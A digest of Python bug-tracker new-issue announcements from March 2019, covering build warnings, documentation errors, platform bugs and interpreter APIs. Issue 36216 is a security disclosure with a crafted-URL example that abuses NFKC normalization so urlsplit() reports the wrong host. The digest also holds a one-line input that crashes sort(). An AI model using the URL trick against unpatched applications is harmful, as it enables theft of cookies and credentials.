nosy: Joris VAN HOUTVEN, docs at python
priority: normal
severity: normal
status: open
title: sys.executable does not return python3 executable when using uwsgi
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36196>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:31:54 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 05 Mar 2019 14:31:54 +0000
Subject: [New-bugs-announce] [issue36197] Compilation Warning for
 memoryview.tobytes
Message-ID: <1551796314.07.0.684644791706.issue36197@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

gcc -pthread -c -Wno-unused-result -Wsign-compare -DDYNAMIC_ANNOTATIONS_ENABLED=1 -g -Og -Wall    -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -Werror=implicit-function-declaration  -I./Include/internal  -I. -I./Include    -DPy_BUILD_CORE -o Objects/memoryobject.o Objects/memoryobject.c
Objects/memoryobject.c:3112:21: warning: cast between incompatible function types from 'PyObject * (*)(PyMemoryViewObject *, PyObject *, PyObject *)' {aka 'struct _object * (*)(struct <anonymous> *, struct _object *, struct _object *)'} to 'PyObject * (*)(PyObject *, PyObject *)' {aka 'struct _object * (*)(struct _object *, struct _object *)'} [-Wcast-function-type]
     {"tobytes",     (PyCFunction)memory_tobytes, METH_VARARGS|METH_KEYWORDS, memory_tobytes_doc},


I am preparing a small PR for this issue.

----------
assignee: matrixise
messages: 337191
nosy: matrixise
priority: normal
severity: normal
status: open
title: Compilation Warning for memoryview.tobytes
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36197>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:34:50 2019
From: report at bugs.python.org (Han)
Date: Tue, 05 Mar 2019 14:34:50 +0000
Subject: [New-bugs-announce] [issue36198] Misleading in library/sets document
Message-ID: <1551796490.3.0.534050934709.issue36198@roundup.psfhosted.org>


New submission from Han <phoenix.seek at gmail.com>:

Doc/library/sets.rst said operation s.update(t)'s result is "return set s with elements added from t".
But update()'s return value is None.
I think change it to "set s with elements added from t" would be better.
So are operations intersection_update(), difference_update(), and symmetric_difference_update().

----------
assignee: docs at python
components: Documentation
messages: 337192
nosy: DeadmanWalking, docs at python
priority: normal
severity: normal
status: open
title: Misleading in library/sets document
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36198>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:43:31 2019
From: report at bugs.python.org (Michel Nijs)
Date: Tue, 05 Mar 2019 16:43:31 +0000
Subject: [New-bugs-announce] [issue36199] libzmq.dll causes uncontrollable
 screen flickering when accessing windows 2012 R2 server through remote
 desktop
Message-ID: <1551804211.97.0.598936212645.issue36199@roundup.psfhosted.org>


New submission from Michel Nijs <m at nijs.co>:

My internal Windows team has identified libzmq.dll to be the culprit. When the file is renamed and the server restarted, the issue goes away.

The screen/desktop flickers multiple times per second and we cannot click on anything or do anything on the server because of it.

----------
messages: 337227
nosy: Michel Nijs
priority: normal
severity: normal
status: open
title: libzmq.dll causes uncontrollable screen flickering when accessing windows 2012 R2 server through remote desktop
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36199>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:54:42 2019
From: report at bugs.python.org (Aditya Shankar)
Date: Tue, 05 Mar 2019 16:54:42 +0000
Subject: [New-bugs-announce] [issue36200] display index on Index
Message-ID: <1551804882.72.0.0702096942552.issue36200@roundup.psfhosted.org>


Change by Aditya Shankar <aditniru at gmail.com>:


----------
nosy: Aditya Shankar
priority: normal
severity: normal
status: open
title: display index on Index

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36200>
_______________________________________

From report at bugs.python.org  Tue Mar  5 19:42:33 2019
From: report at bugs.python.org (Walter Qian)
Date: Wed, 06 Mar 2019 00:42:33 +0000
Subject: [New-bugs-announce] [issue36201] AssertCountEqual does not work for
 nested dictionaries.
Message-ID: <1551832953.74.0.756790771637.issue36201@roundup.psfhosted.org>


New submission from Walter Qian <walterqian16 at gmail.com>:

For dictionaries of dictionaries unittest.util._count_diff_all_purpose does not work correctly. It should recursively call itself when it encounters another dictionary.

----------
components: Tests
messages: 337248
nosy: walterqian
priority: normal
severity: normal
status: open
title: AssertCountEqual does not work for nested dictionaries.
versions: Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36201>
_______________________________________

From report at bugs.python.org  Tue Mar  5 19:53:52 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 00:53:52 +0000
Subject: [New-bugs-announce] [issue36202] Calling Py_DecodeLocale() before
 _PyPreConfig_Write() can produce mojibake
Message-ID: <1551833632.89.0.173170385409.issue36202@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

Calling Py_DecodeLocale() before Py_Initialize() or _Py_InitializeCore() is broken since Python 3.7 if the C locale coercion (PEP 538) or UTF-8 mode (PEP 540) changes the encoding in the middle of _Py_InitializeCore().

I added a new phase to the Python initialization in bpo-36142, a new _PyPreConfig structure, which can be used to fix this mojibake issue.

The code for embedding Python should look like:
---
_Py_PreInitialize();

_PyCoreConfig config;
config.home = Py_DecodeLocale("/path/to/home");

_PyInitError err = _Py_InitializeFromConfig(&config);
if (_Py_INIT_FAILED(err)) {
    _PyCoreConfig_Clear(&config);
    _Py_ExitInitError(err);
}

/* use Python here */

Py_Finalize();
_PyCoreConfig_Clear(&config);
---

Except that there is no _Py_PreInitialize() function yet :-)

----------
components: Interpreter Core
messages: 337252
nosy: ncoghlan, vstinner
priority: normal
severity: normal
status: open
title: Calling Py_DecodeLocale() before _PyPreConfig_Write() can produce mojibake
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36202>
_______________________________________

From report at bugs.python.org  Tue Mar  5 20:03:50 2019
From: report at bugs.python.org (Maxwell Bernstein)
Date: Wed, 06 Mar 2019 01:03:50 +0000
Subject: [New-bugs-announce] [issue36203] PyWeakref_NewRef docs are
 misleading
Message-ID: <1551834230.67.0.926562735048.issue36203@roundup.psfhosted.org>


New submission from Maxwell Bernstein <tekk.nolagi at gmail.com>:

The docs for `PyWeakref_NewRef` state "if callback is not callable, None, or NULL, this will return NULL and raise TypeError". It does not appear as though there is a callable check for the callback.

----------
messages: 337255
nosy: Maxwell Bernstein
priority: normal
severity: normal
status: open
title: PyWeakref_NewRef docs are misleading
versions: Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36203>
_______________________________________

From report at bugs.python.org  Tue Mar  5 20:08:45 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 01:08:45 +0000
Subject: [New-bugs-announce] [issue36204] Deprecate calling Py_Main() after
 Py_Initialize()? Add Py_InitializeFromArgv()?
Message-ID: <1551834525.71.0.299851927567.issue36204@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

If Py_Main() is called after Py_Initialize(), the configuration read by Py_Main() is mostly ignored to only keep the configuration read and writen by Py_Initialize(). Only sys.argv and the internal "path configuration" are updated. Problem: in this case, "core_config" is copied into PyInterpreter.core_config anyway, creating an inconsistency.

Technically, Py_Main() could be smarter and only partially update PyInterpreterState.core_config, but... is it really worth it?

Py_Main() can get many options from the command line arguments. For example, if "-X dev" is passed on the command line, the memory allocator should be "debug". Problem: Py_Initialize() already allocated a lot of memory, and it is no longer possible to change the memory allocator.

I propose to start to emit a deprecation warning when Py_Main() is called after Py_Initialize(): calling Py_Main() alone is just fine.

See bpo-34008: "Do we support calling Py_Main() after Py_Initialize()?". I had to fix a regression in Python 3.7 to fix the application called "fontforge".

Pseudo-code of fontforge:

Py_Initialize()
for file in files:
   PyRun_SimpleFileEx(file)
Py_Main(arg, argv)
Py_Finalize()

https://github.com/fontforge/fontforge/blob/cec4a984abb41419bf92fc58e5de0170404f0303/fontforge/python.c

Maybe we need to add a new "initialization" API which accepts (argc, argv)? I implemented such function in bpo-36142, but added functions are private:

* _PyPreConfig_ReadFromArgv()
* _PyCoreConfig_ReadFromArgv()

This issue has been discussed at:
https://discuss.python.org/t/adding-char-based-apis-for-unix/916/22

----------
components: Interpreter Core
messages: 337256
nosy: ncoghlan, steve.dower, vstinner
priority: normal
severity: normal
status: open
title: Deprecate calling Py_Main() after Py_Initialize()? Add Py_InitializeFromArgv()?
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36204>
_______________________________________

From report at bugs.python.org  Tue Mar  5 21:23:46 2019
From: report at bugs.python.org (Alexander Lopatin)
Date: Wed, 06 Mar 2019 02:23:46 +0000
Subject: [New-bugs-announce] [issue36205] Python 3.7 and 3.8 process_time is
 not reported correctly (twice then expected)
Message-ID: <1551839026.38.0.329984439989.issue36205@roundup.psfhosted.org>


New submission from Alexander Lopatin <nitapol at hotmail.com>:

I see this problem only on my iMac (macOS Mojave, Version 10.14.3). My Windows and Linux (CentOS) computers have no such problem.

I asked the question on Stack Overflow today, investigated, and reported here:
 
https://stackoverflow.com/questions/55008397/python-3-5-vs-3-7-process-time

To fix this problem: the build for macOS should be made with compiler Clang 10.0.0 (clang-1000.11.45.5). You made 3.7 and 3.8 with Clang 6.0 (clang-600.0.57). Of course, this could introduce new problems, but also fix some old ones.

----------
components: Build, Installation, macOS
messages: 337270
nosy: Nitapol, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: Python 3.7 and 3.8 process_time is not reported correctly  (twice then expected)
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36205>
_______________________________________

From report at bugs.python.org  Tue Mar  5 21:39:37 2019
From: report at bugs.python.org (Lottie Price)
Date: Wed, 06 Mar 2019 02:39:37 +0000
Subject: [New-bugs-announce] [issue36206] re.match() not matching escaped
 hyphens
Message-ID: <1551839977.13.0.745695209115.issue36206@roundup.psfhosted.org>


New submission from Lottie Price <lprice at parc.com>:

Problem:

re.match("\\-", "\\-")

returns None.
I expected a match.

Context:

I have some random text strings I want to match against. I'm using re.escape() to ensure that the text characters are not interpreted as special characters:
      re.match(re.escape("-"), re.escape("-"))

As a result, strings with hyphens are coming back as above, and are not matching.

----------
components: Regular Expressions
messages: 337272
nosy: ezio.melotti, lprice, mrabarnett
priority: normal
severity: normal
status: open
title: re.match() not matching escaped hyphens
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36206>
_______________________________________

From report at bugs.python.org  Wed Mar  6 04:42:01 2019
From: report at bugs.python.org (wats0ns)
Date: Wed, 06 Mar 2019 09:42:01 +0000
Subject: [New-bugs-announce] [issue36207] robotsparser deny all with some
 rules
Message-ID: <1551865321.24.0.407834320039.issue36207@roundup.psfhosted.org>


New submission from wats0ns <quentin.maire at protonmail.ch>:

RobotsParser parse a "Disallow: ?" rule as a deny all, but this is a valid rule that should be interpreted as "Disallow: /?*" or "Disallow: /*?*"

----------
components: Library (Lib)
messages: 337285
nosy: quentin-maire
priority: normal
severity: normal
status: open
title: robotsparser deny all with some rules
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36207>
_______________________________________

From report at bugs.python.org  Wed Mar  6 05:34:18 2019
From: report at bugs.python.org (Jan Seeger)
Date: Wed, 06 Mar 2019 10:34:18 +0000
Subject: [New-bugs-announce] [issue36208] AsyncIO V4MAPPED addresses with
 V6ONLY.
Message-ID: <1551868458.12.0.248944405663.issue36208@roundup.psfhosted.org>


New submission from Jan Seeger <jan.seeger+python at thenybble.de>:

I'm working with aiocoap, which uses the AI_V4MAPPED flag to use IPv4-mapped addresses for dual-stack support. When trying to run on Windows, creating a connection fails, because the socket option IPV6_V6ONLY is set to true per default on Windows, whereas the value is configurable on Linux. I've attached a file that should reproduce the error.

A possible fix would be calling socket.setsockopt(socket.IPPROTO_IPV6,
socket.IPV6_V6ONLY, False) when V4-mapped addresses have been requested
(this bug can also appear on Linux when /proc/sys/net/ipv6/bindv6only
contains 1).

If you require any more information, feel free to contact me!

----------
components: asyncio
files: socket_test_bad.py
messages: 337289
nosy: asvetlov, jeeger, yselivanov
priority: normal
severity: normal
status: open
title: AsyncIO V4MAPPED addresses with V6ONLY.
Added file: https://bugs.python.org/file48190/socket_test_bad.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36208>
_______________________________________

From report at bugs.python.org  Wed Mar  6 06:06:29 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 11:06:29 +0000
Subject: [New-bugs-announce] [issue36209] [EASY Doc] Typo in hashlib error
 message
Message-ID: <1551870389.36.0.98944095722.issue36209@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

Seen on a custom builder:

BUILDSTDERR: ======================================================================
BUILDSTDERR: ERROR: test_scrypt (test.test_hashlib.KDFTests)
BUILDSTDERR: ----------------------------------------------------------------------
BUILDSTDERR: Traceback (most recent call last):
BUILDSTDERR:   File "/builddir/build/BUILD/Python-3.7.2/Lib/test/test_hashlib.py", line 942, in test_scrypt
BUILDSTDERR:     result = hashlib.scrypt(password, salt=salt, n=n, r=r, p=p)
BUILDSTDERR: ValueError: Invalid paramemter combination for n, r, p, maxmem.

There is a typo in "paramemter".

----------
assignee: docs at python
components: Documentation
keywords: easy
messages: 337290
nosy: docs at python, vstinner
priority: normal
severity: normal
status: open
title: [EASY Doc] Typo in hashlib error message
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36209>
_______________________________________

From report at bugs.python.org  Wed Mar  6 08:04:38 2019
From: report at bugs.python.org (Michael Felt)
Date: Wed, 06 Mar 2019 13:04:38 +0000
Subject: [New-bugs-announce] [issue36210] ncurses versus cursus integration
 - platform differences and defaults
Message-ID: <1551877478.38.0.771456862754.issue36210@roundup.psfhosted.org>


New submission from Michael Felt <aixtools at felt.demon.nl>:

Only marking Python3.8, but this is a historical issue I have ignored as long as possible.

There are many - ancient and recent issues open around the extension module _curses - and over the years it appears many assumptions have come into the code (such as configure.ac that says CPP needs to be expended with /usr/include/ncursesw, but not /usr/include/ncurses (which is what the ncurses project uses).

Further, Pyhton3 assumes that ncurses is the better solution, so if it can find a libncurses library that must be the best approach.

While ncurses might, all other things being equal, be a preferred library - it does not mean it is the best for all platforms.

On AIX - the assumptions made (at least where the include files are) tends to make it impossible to build the _cursesmodule in any form when a third-party ncurses is installed.

When ncurses is not installed _curses builds fine and _curses_panel is skipped.

I propose that "setup.py" - on AIX - specifies libcurses.a rather than libncurses - as the default.

----------
components: Extension Modules
messages: 337298
nosy: Michael.Felt
priority: normal
severity: normal
status: open
title: ncurses versus cursus integration - platform differences and defaults
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36210>
_______________________________________

From report at bugs.python.org  Wed Mar  6 08:15:18 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Wed, 06 Mar 2019 13:15:18 +0000
Subject: [New-bugs-announce] [issue36211] show full url when execute "make
 -C Doc/ serve"
Message-ID: <1551878118.81.0.0860546810441.issue36211@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

If we want to check the result of the compilation for the documentation, we can use open build/html or make serve

./configure --prefix=$PWD/build
make -j 4
make PYTHON=../python -C Doc venv
make PYTHON=../python -C Doc html serve

Here is the current output:
make: Entering directory '/home/stephane/src/github.com/python/cpython/Doc'
../Tools/scripts/serve.py build/html
Serving build/html on port 8000, control-C to stop


I suggest this output:

Serving build/html on 0.0.0.0 port 8000 (http://0.0.0.0:8000/), control-C to stop

With this change and if the terminal supports the URL, we can click on the link.

----------
messages: 337300
nosy: matrixise
priority: normal
severity: normal
status: open
title: show full url when execute "make -C Doc/ serve"
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36211>
_______________________________________

From report at bugs.python.org  Wed Mar  6 08:57:29 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Wed, 06 Mar 2019 13:57:29 +0000
Subject: [New-bugs-announce] [issue36212] [2.7] Coverity scan:
 Modules/_hotshot.c ,
 Variable "s1" going out of scope leaks the storage it points to.
Message-ID: <1551880649.05.0.0730481787231.issue36212@roundup.psfhosted.org>


New submission from Charalampos Stratakis <cstratak at redhat.com>:

Coverity scan reports a leak on _hotshot.c: 

Python-2.7.15/Modules/_hotshot.c:442: alloc_arg: "unpack_string" allocates memory that is stored into "s1".
Python-2.7.15/Modules/_hotshot.c:329:5: alloc_fn: Storage is returned from allocation function "PyString_FromStringAndSize".
Python-2.7.15/Objects/stringobject.c:88:5: alloc_fn: Storage is returned from allocation function "PyObject_Malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: alloc_fn: Storage is returned from allocation function "malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: return_alloc_fn: Directly returning storage allocated by "malloc".
Python-2.7.15/Objects/stringobject.c:88:5: var_assign: Assigning: "op" = "PyObject_Malloc(37UL + size)".
Python-2.7.15/Objects/stringobject.c:111:5: return_alloc: Returning allocated memory "op".
Python-2.7.15/Modules/_hotshot.c:329:5: var_assign: Assigning: "*pvalue" = "PyString_FromStringAndSize(buf, len)".
Python-2.7.15/Modules/_hotshot.c:486: leaked_storage: Variable "s1" going out of scope leaks the storage it points to.
 484|           result = PyTuple_New(4);
 485|           if (result == NULL)
 486|->             return NULL;
 487|           PyTuple_SET_ITEM(result, 0, PyInt_FromLong(what));
 488|           PyTuple_SET_ITEM(result, 2, PyInt_FromLong(fileno));

----------
components: Extension Modules
messages: 337301
nosy: cstratak
priority: normal
severity: normal
status: open
title: [2.7] Coverity scan: Modules/_hotshot.c , Variable "s1" going out of scope leaks the storage it points to.
type: resource usage
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36212>
_______________________________________

From report at bugs.python.org  Wed Mar  6 09:37:16 2019
From: report at bugs.python.org (Geoff Alexander)
Date: Wed, 06 Mar 2019 14:37:16 +0000
Subject: [New-bugs-announce] [issue36213] subprocess.check_output() fails
 with OSError: [WinError 87] when current directory name is too long
Message-ID: <1551883036.38.0.267750986311.issue36213@roundup.psfhosted.org>


New submission from Geoff Alexander <gdlxn at us.ibm.com>:

I've found that subprocess.check_output() fails on Windows with OSError: [WinError 87] when the current directory's name is too long:

```
Traceback (most recent call last):
  File "migration.py", line 169, in <module>
    migrate()
  File "migration.py", line 80, in migrate
    rtc.acceptchangesintoworkspace(rtc.getchangeentriestoaccept(changeentries, history))
  File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\rtcFunctions.py", line 310, in acceptchangesintoworkspace
    Commiter.addandcommit(changeEntry)
  File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\gitFunctions.py", line 97, in addandcommit
    Commiter.handle_captitalization_filename_changes()
  File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\gitFunctions.py", line 130, in handle_captitalization_filename_changes
    files = shell.getoutput("git ls-files")
  File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\shell.py", line 33, in getoutput
    outputasbytestring = check_output(command, shell=True)
  File "C:\Users\GeoffAlexander\AppData\Local\Programs\Python\Python36\lib\subprocess.py", line 356, in check_output
    **kwargs).stdout
  File "C:\Users\GeoffAlexander\AppData\Local\Programs\Python\Python36\lib\subprocess.py", line 423, in run
    with Popen(*popenargs, **kwargs) as process:
  File "C:\Users\GeoffAlexander\AppData\Local\Programs\Python\Python36\lib\subprocess.py", line 729, in __init__
    restore_signals, start_new_session)
  File "C:\Users\GeoffAlexander\AppData\Local\Programs\Python\Python36\lib\subprocess.py", line 1017, in _execute_child
    startupinfo)
OSError: [WinError 87] The parameter is incorrect
```

Python's subprocess module should handle long directory and files names on Windows where supported.  For older versions of Windows that don't support long directory and file names, an exception with a more informative error message than "OSError: [WinError 87]" should be thrown.

----------
components: Windows
messages: 337307
nosy: Geoff.Alexander, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: subprocess.check_output() fails with OSError: [WinError 87] when current directory name is too long
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36213>
_______________________________________

From report at bugs.python.org  Wed Mar  6 11:03:27 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Wed, 06 Mar 2019 16:03:27 +0000
Subject: [New-bugs-announce] [issue36214] AC_RUN_IFELSE macros not used as
 arguments of AC_CACHE_VAL et al
Message-ID: <1551888207.23.0.560311387445.issue36214@roundup.psfhosted.org>


New submission from Xavier de Gaye <xdegaye at gmail.com>:

When the AC_RUN_IFELSE macro is used as the 'COMMANDS-TO-SET-IT' argument of the AC_CACHE_VAL or AC_CACHE_CHECK macros, it is possible to override the last argument of AC_RUN_IFELSE that is used when cross-compiling and set the variable with a cached value instead.

The determination of the following variables in configure.ac does not follow this mechanism (does not use AC_CACHE_VAL et al):

ac_osx_32bit, ac_cv_x87_double_rounding, have_glibc_memmove_bug, have_ipa_pure_const_bug

This should be changed except for the cases where cross-compilation does not make sense.

----------
components: Build
messages: 337318
nosy: xdegaye
priority: normal
severity: normal
stage: needs patch
status: open
title: AC_RUN_IFELSE macros not used as arguments of AC_CACHE_VAL et al
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36214>
_______________________________________

From report at bugs.python.org  Wed Mar  6 12:16:47 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 17:16:47 +0000
Subject: [New-bugs-announce] [issue36215] Should AppVeyor run compile Python
 in debug mode?
Message-ID: <1551892607.07.0.699747283695.issue36215@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

The Windows buildbots have been broken by PR 12073. Problem: AppVeyor didn't catch the bug before the change has been merged. Why? Because AppVeyor builds Python in release mode, whereas Windows buildbots build Python in debug mode.

https://bugs.python.org/issue36139#msg337320

IMHO AppVeyor should also build Python in debug mode to catch most bugs.

We should compare build time in debug mode and in release mode to see the cost of debug mode.

---

Somehow related issue: AppVeyor and Travis CI tests passed on PR 10497 "bpo-35224: PEP 572 Implementation" but buildbots failed. The problem is that buildbots pass "-u all" to "python -m test", whereas pre-commit CIs use "-uall,-cpu" (.travis.yml) or "-uall -u-cpu -u-largefile" (.github/appveyor.yml).

https://github.com/python/cpython/pull/10497#issuecomment-457409029

---

It's a trade-off between preventing bugs and CI performance...

----------
components: Build
messages: 337335
nosy: pablogsal, vstinner, zach.ware
priority: normal
severity: normal
status: open
title: Should AppVeyor run compile Python in debug mode?
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36215>
_______________________________________

From report at bugs.python.org  Wed Mar  6 12:37:20 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 06 Mar 2019 17:37:20 +0000
Subject: [New-bugs-announce] [issue36216] urlsplit does not handle NFKC
 normalization
Message-ID: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>


New submission from Steve Dower <steve.dower at python.org>:

URLs encoded with Punycode/IDNA use NFKC normalization to decompose characters [1]. This can result in some characters introducing new segments into a URL.

For example, \uFF03 is not equal to '#' under direct comparison, but normalizes to '#' which changes the fragment part of the URL. Similarly \u2100 normalizes to 'a/c' which introduces a path segment.

Currently, urlsplit() does not normalize, which may result in it returning a different netloc from what a browser would

>>> u = "https://example.com\uFF03 at bing.com"
>>> urlsplit(u).netloc.rpartition("@")[2]
bing.com

>>> # Simulate
>>> u = "https://example.com\uFF03 at bing.com".encode("idna").decode("ascii")
>>> urlsplit(u).netloc.rpartition("@")[2]
example.com

(Note that .netloc includes user/pass and .rpartition("@") is often used to remove it.)

This may be used to steal cookies or authentication data from applications that use the netloc to cache or retrieve this information.

The preferred fix for the urllib module is to detect and raise ValueError if NFKC-normalization of the netloc introduce any of '/?#@:'. Applications that want to avoid this error should perform their own decomposition using unicodedata or transcode to ASCII via IDNA.

>>> # New behavior
>>> u = "https://example.com\uFF03 at bing.com"
>>> urlsplit(u)
...
ValueError: netloc 'example.com#@bing.com' contains invalid characters under NFKC normalization

>>> # Workaround 1
>>> u2 = unicodedata.normalize("NFKC", u)
>>> urlsplit(u2)
SplitResult(scheme='https', netloc='example.com', path='', query='', fragment='@bing.com')

>>> # Workaround 2
>>> u3 = u.encode("idna").decode("ascii")
>>> urlsplit(u3)
SplitResult(scheme='https', netloc='example.com', path='', query='', fragment='@bing.com')

Note that we do not address other characters, such as those that convert into period. The error is only raised for changes that affect how urlsplit() locates the netloc and the very common next step of removing credentials from the netloc.

This vulnerability was reported by Jonathan Birch of Microsoft Corporation and Panayiotis Panayiotou (p.panayiotou2 at gmail.com) via the Python Security Response Team. A CVE number has been requested.

[1]: https://unicode.org/reports/tr46/

----------
assignee: steve.dower
components: Unicode
keywords: security_issue
messages: 337336
nosy: benjamin.peterson, ezio.melotti, larry, ned.deily, steve.dower, vstinner
priority: normal
severity: normal
stage: needs patch
status: open
title: urlsplit does not handle NFKC normalization
type: security
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Wed Mar  6 13:01:03 2019
From: report at bugs.python.org (chrysn)
Date: Wed, 06 Mar 2019 18:01:03 +0000
Subject: [New-bugs-announce] [issue36217] recvmsg support on Windows
Message-ID: <1551895263.91.0.391807154727.issue36217@roundup.psfhosted.org>


New submission from chrysn <chrysn at fsfe.org>:

Windows has support for advanced socket APIs of RFC 3542 (eg. pktinfo, see https://docs.microsoft.com/en-us/windows/desktop/api/ws2ipdef/ns-ws2ipdef-in6_pktinfo), but those can not be used on Python as there is no recvmsg implementation (tested on 3.7.1 on Windows 10).

The recvmsg function is, among other things, required for implementing the CoAP protocol (RFC 7252: introspection of ICMP errors).

Windows does have a recvmsg function (as documented at https://msdn.microsoft.com/en-us/a46449f7-3206-45e9-9df0-f272b8cdcc4b), and supports flags to make actual use of it (like RECVPKTINFO above). Given many of the missing flags of RFC 3542 are being added in issue29515, please consider adding a recvmsg method to Windows socket objects.

----------
components: Windows
messages: 337337
nosy: chrysn, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: recvmsg support on Windows
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36217>
_______________________________________

From report at bugs.python.org  Wed Mar  6 16:54:32 2019
From: report at bugs.python.org (Lyn Levenick)
Date: Wed, 06 Mar 2019 21:54:32 +0000
Subject: [New-bugs-announce] [issue36218] .sort() segfaults consistently on
 crafted input
Message-ID: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>


New submission from Lyn Levenick <lyn.levenick at gmail.com>:

Running Python 3.7.2, it is possible to segfault the process when sorting some arrays.

Executed commands are

    $ python3
    Python 3.7.2 (default, Feb 12 2019, 08:15:36) 
    [Clang 10.0.0 (clang-1000.11.45.5)] on darwin
    Type "help", "copyright", "credits" or "license" for more information.
    >>> [(1.0, 1.0), (False, "A"), 6].sort()
    Segmentation fault: 11

I did not have the opportunity to test on systems other than macOS, but anecdotally this is reproducible on both Windows and Linux.

----------
messages: 337341
nosy: Lyn Levenick
priority: normal
severity: normal
status: open
title: .sort() segfaults consistently on crafted input
type: crash
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Wed Mar  6 19:10:03 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 07 Mar 2019 00:10:03 +0000
Subject: [New-bugs-announce] [issue36219] Add edit option in IDLE to convert
 smart quotes to ascii quotes
Message-ID: <1551917403.61.0.29942545482.issue36219@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

Some of my students routinely have to copy code samples from PDF documents where the regular Python acceptable ASCII quotation marks have been replaced by smart quotes.  Let's add an Edit menu option to fix smart-quotes.

----------
assignee: terry.reedy
components: IDLE
messages: 337350
nosy: rhettinger, terry.reedy
priority: normal
severity: normal
status: open
title: Add edit option in IDLE to convert smart quotes to ascii quotes
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36219>
_______________________________________

From report at bugs.python.org  Wed Mar  6 22:41:26 2019
From: report at bugs.python.org (Kevin Shweh)
Date: Thu, 07 Mar 2019 03:41:26 +0000
Subject: [New-bugs-announce] [issue36220] LOAD_NAME and LOAD_GLOBAL handle
 dict subclasses for globals() differently
Message-ID: <1551930086.95.0.70586200648.issue36220@roundup.psfhosted.org>


New submission from Kevin Shweh <kevin.shweh at gmail.com>:

LOAD_NAME and LOAD_GLOBAL don't treat dict subclasses for globals() the same way. If globals() is a dict subclass, LOAD_GLOBAL will respect overridden __getitem__, but LOAD_NAME will use PyDict_GetItem. This causes global lookup to behave differently in class statements; for example, in the following code, the final exec is the only one where print(y) causes a NameError:

class Foo(dict):
    def __getitem__(self, index):
        return 5 if index == 'y' else super().__getitem__(index)
 
exec('print(y)', Foo())
exec('global y; print(y)', Foo())
exec('''
class UsesLOAD_NAME:
    global y
    print(y)''', Foo())
exec('''
class UsesLOAD_NAME:
    print(y)''', Foo())


